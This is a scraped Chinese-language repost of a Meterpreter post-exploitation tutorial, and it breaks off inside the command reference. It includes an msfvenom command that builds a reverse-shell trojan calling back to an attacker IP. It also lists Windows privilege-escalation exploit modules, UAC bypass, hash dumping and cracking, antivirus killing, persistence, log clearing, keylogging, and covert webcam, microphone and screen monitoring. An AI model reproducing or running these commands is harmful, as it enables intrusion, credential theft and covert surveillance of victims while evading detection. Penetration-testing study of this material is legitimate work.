渗透测试 ( 4 )

您所在的位置:网站首页 meterpreter命令监控屏幕 渗透测试 ( 4 )

渗透测试 ( 4 )

2024-07-04 09:29| 来源: 网络整理| 查看: 265

From:https://blog.csdn.net/weixin_45605352/article/details/115824811

1、初识 Meterpreter 1.1.什么是 Meterpreter

   Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外 Meterpreter 能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS [基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  Meterpreter 还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 "内存DLL注入" 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。其中,攻击者与目标设备中Meterpreter 的通信是通过 Stager 套接字实现的 meterpreter 作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

  需要说明的 meterpreter 在漏洞利用成功后会发送第二阶段的代码和 meterpreter 服务器 dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行 help之 后发现缺少命令。 连上 vpn 又在内网中使用 psexec 和 bind_tcp 的时候经常会出现这种情况

1.2.Meterpreter技术优势

  Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux,同时支持 x86、x64 平台,另外,Meterpreter 还提供了基于 PHP 和 Java 语言的实现。Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。所以 Ruby 语言还很有必要。

2、Meterpreter 中常用反弹 shell 类型 2.1 reverse_tcp:

基于 TCP 的反向链接反弹 shell,使用起来很稳定。

生成 window 木马命令:msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12581  -f exe -o hacker.exe

2.2 reverse_http:

基于 http 方式的反向连接,在网速慢的情况下不稳定

payload:/windows/meterpreter/reverse_http

2.3 reverse_https

基于 https 方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成 443 试试。

payload:/windows/meterpreter/reverse_https

2.4 bind_tcp

这是一个基于TCP的正向连接 shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置 LHOST。

payload:/windows/meterpreter/bind_tcp

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

3、相关 Payload

Payload 中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

Single :Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到 Stager :这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。 Stage :是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型: Single Payload 的格式为:/ Stager/Stage Payload 的格式为:/ / 当在 Metasploit 中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表

4、Meterpreter 的常用命令 meterpreter 控制技巧总结 meterpreter 收集信息

收集 windows 主机信息

方法一:         shell         systeminfo

方法二:         sysinfo

收集本地(域)用户信息         shell         net user         net user /domain

收集当前用户信息         shell         whoami /all

收集主机所运行的服务         run service_manager -l

查询主机所在地理位置         run post/multi/gather/wlan_geolocate

查询arp信息         arp

枚举用户         run post/windows/gather/enum_computers

读取目标主机的WIFI密码         run post/windows/wlan/wlan_profile

监视         run vnc                       VNC 连接,实现屏幕实时监控         run sound_recorder    声音记录         run webcam                开启摄像头

收集 linux 主机信息

提升权限常用模块

Windows 提权,绕过 UAC 进行提权,使用以下模块

exploit/windows/local/bypassuac exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_vbs

提高程序运行级别(runas)使用以下模块:exploit/windows/local/ask,该模块实际是使用更高权限运行程序,没有绕过UAC靶机会有响应,一般不使用。

利用 windows 提权漏洞进行提权

使用 ms13_053、ms14_058、ms16_016、ms16_032 等提权漏洞

对应漏洞补丁编号为

漏洞编号 CVE编号 补丁编号 ms13_053 CVE-2013-3129 KB2850851 ms14_058 CVE-2014-4148 KB3000061 ms16_016 CVE-2016-0051 KB3019215 ms16_032 CVE-2016-0099 KB3135174

漏洞利用对应模块(PS.msf版本为metasploit v4.17.24-dev)

漏洞编号 msf对应模块 ms13_053 exploit/windows/local/ms13_053_schlamperei ms14_058 exploit/windows/local/ms14_058_track_popup_menu ms16_016 exploit/windows/local/ms16_016_webdav ms16_032 exploit/windows/local/ms16_032_secondary_logon_handle_privesc

以上是常用的提权模块,如果以上尝试均失败,请查看漏洞影响的系统版本,以及对应主机中是否安装了月度更新。

使用 meterpreter 命令提权:getsystem

meterpreter 控制逻辑总结

后渗透攻击 ( 命令、模块 ) 

arp background clearev download、upload execute   执行命令,可执行脚本或程 getprivs  查看当前用户具备的权限 getuid    查看 meterpreter 所在的用户组 getsystem 提权为管理员 sysinfo   查看计算机系统和名称等详细信息 idletime  查看目标系统运行了多长时间 keyscan_start  开启键盘记录 keyscan_dump   键盘记录下载 keyscan_stop   停止键盘记录 load           加载一些带有其他功能(后门)的软件 ps             查看目标系统的所有进程。如果没有root权限或者administrator权限,可以先查看进程,随后根据进程分析目标系统运行了什么软件。可以查找哪些软件有命令执行漏洞用来提权。甚至你还可以查看到目标系统用什么数据库之类的等等。

screenshot  截取目标系统屏幕 search      搜索目标系统的文件 shell       在目标系统打开一个命令行窗口,相当于cmd web_list    查看目标机器上是否有网络摄像头,并且列举出来 webcam_snap 连接目标系统的摄像头

run get_local_subnets            查询主机路由 run arp_scanner -r x.x.x.x/24    扫描内网存活主机 run domain_list_gen              查询域用户 net use                          使用 ipc 通道访问域内用户 hashdump    导出全域 hash ( 获取目标系统用户密码 hash ),需要有系统权限

db_nmap    内网主机端口扫描:msf 中使用的 db_nmap 实际上实际上使用 nmap 进行扫描生成 xml 格式文件,再导入,因此 db_nmap实际上就是nmap。

模块

run hashdump    获取目标系统哈希值,包括密码提示,需要有”system“权限

1、hashdump 获取目标系统哈希值     run post/windows/gather/hashdump     把获取到的哈希值在彩虹表中进行破解,     访问md5在线解密破解,md5解密加密:https://cmd5.com/

2、migrate     run post/windows/manage/migrate     可以将meterpreter当前的进程移动到一个新的进程。     主要用来防软杀,或者进程不稳定的时候使用这个模块。

3、run killav 关闭对方杀软     run /post/windows/manage/killav

4、run post/windows/gather/enum_computers     枚举 Windows 域内所有用户,不包含目标主机

5、run persistence     写入硬盘,下次目标主机启动时,木马将会自启动     (不一定成功,建议重新上传后门)

6、run post/multi/gather/wlan_geolocate     基于WLAN进行地理位置确认。

8、run service_manager     目标主机系统服务管理

9、run post/windows/wlan/wlan_profile     获取目标主机WiFi密码

10、run vnc     屏幕实时监控,配和 录制声音、开启摄像头 效果会更好     run sound_recoder(录制声音)     run webcam(开启摄像头)

4.1 全部 基本 命令: meterpreter > ? 核心 命令 ============= ? 帮助 background 当前 session 放到 后端 bg background 的 别名 bgkill 结束一个 后端 meterpreter script bglist 列出正在运行的 后端 scripts bgrun 执行一个 meterpreter script,同时作为后端线程 channel 显示信息或控制活动 channel ( 通道 ) close 关闭一个 channel detach 分离 meterpreter session (用于 http/https) disable_unicode_encoding 禁用unicode字符串编码 enable_unicode_encoding 启用unicode字符串编码 exit 终止 meterpreter session get_timeouts 获取当前会话超时时间 guid 获取 GUID help 帮助 info Displays information about a Post module irb 在当前会话中打开一个 Ruby shell load 载入一个或者多个 meterpreter 扩展 machine_id 获取计算机的MSF ID migrate 将服务迁移到其他进程 ( 注入到其他进程 ) pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read 从 channel 读数据 resource 运行存储在文件中的命令 run 执行 meterpreter script 或者 Post module secure (Re)Negotiate TLV packet encryption on the session sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 睡眠多少秒后再次连接 ssl_verify 修改SSL证书验证设置 transport Manage the transport mechanisms use load 的别名,已经弃用。 uuid 获取 uuid write 向 channel 写数据 Stdapi: 文件 系统 命令 ============================ Command Description ------- ----------- cat cd checksum 检索文件的校验和 cp del dir download 下载文件或者目录 edit 编辑文件 getwd 打印工作目录 getlwd 打印本地工作目录 lcat lcd lls lpwd ls mkdir mv pwd rm rmdir search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或者目录 Stdapi: 网络 命令 ===================


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3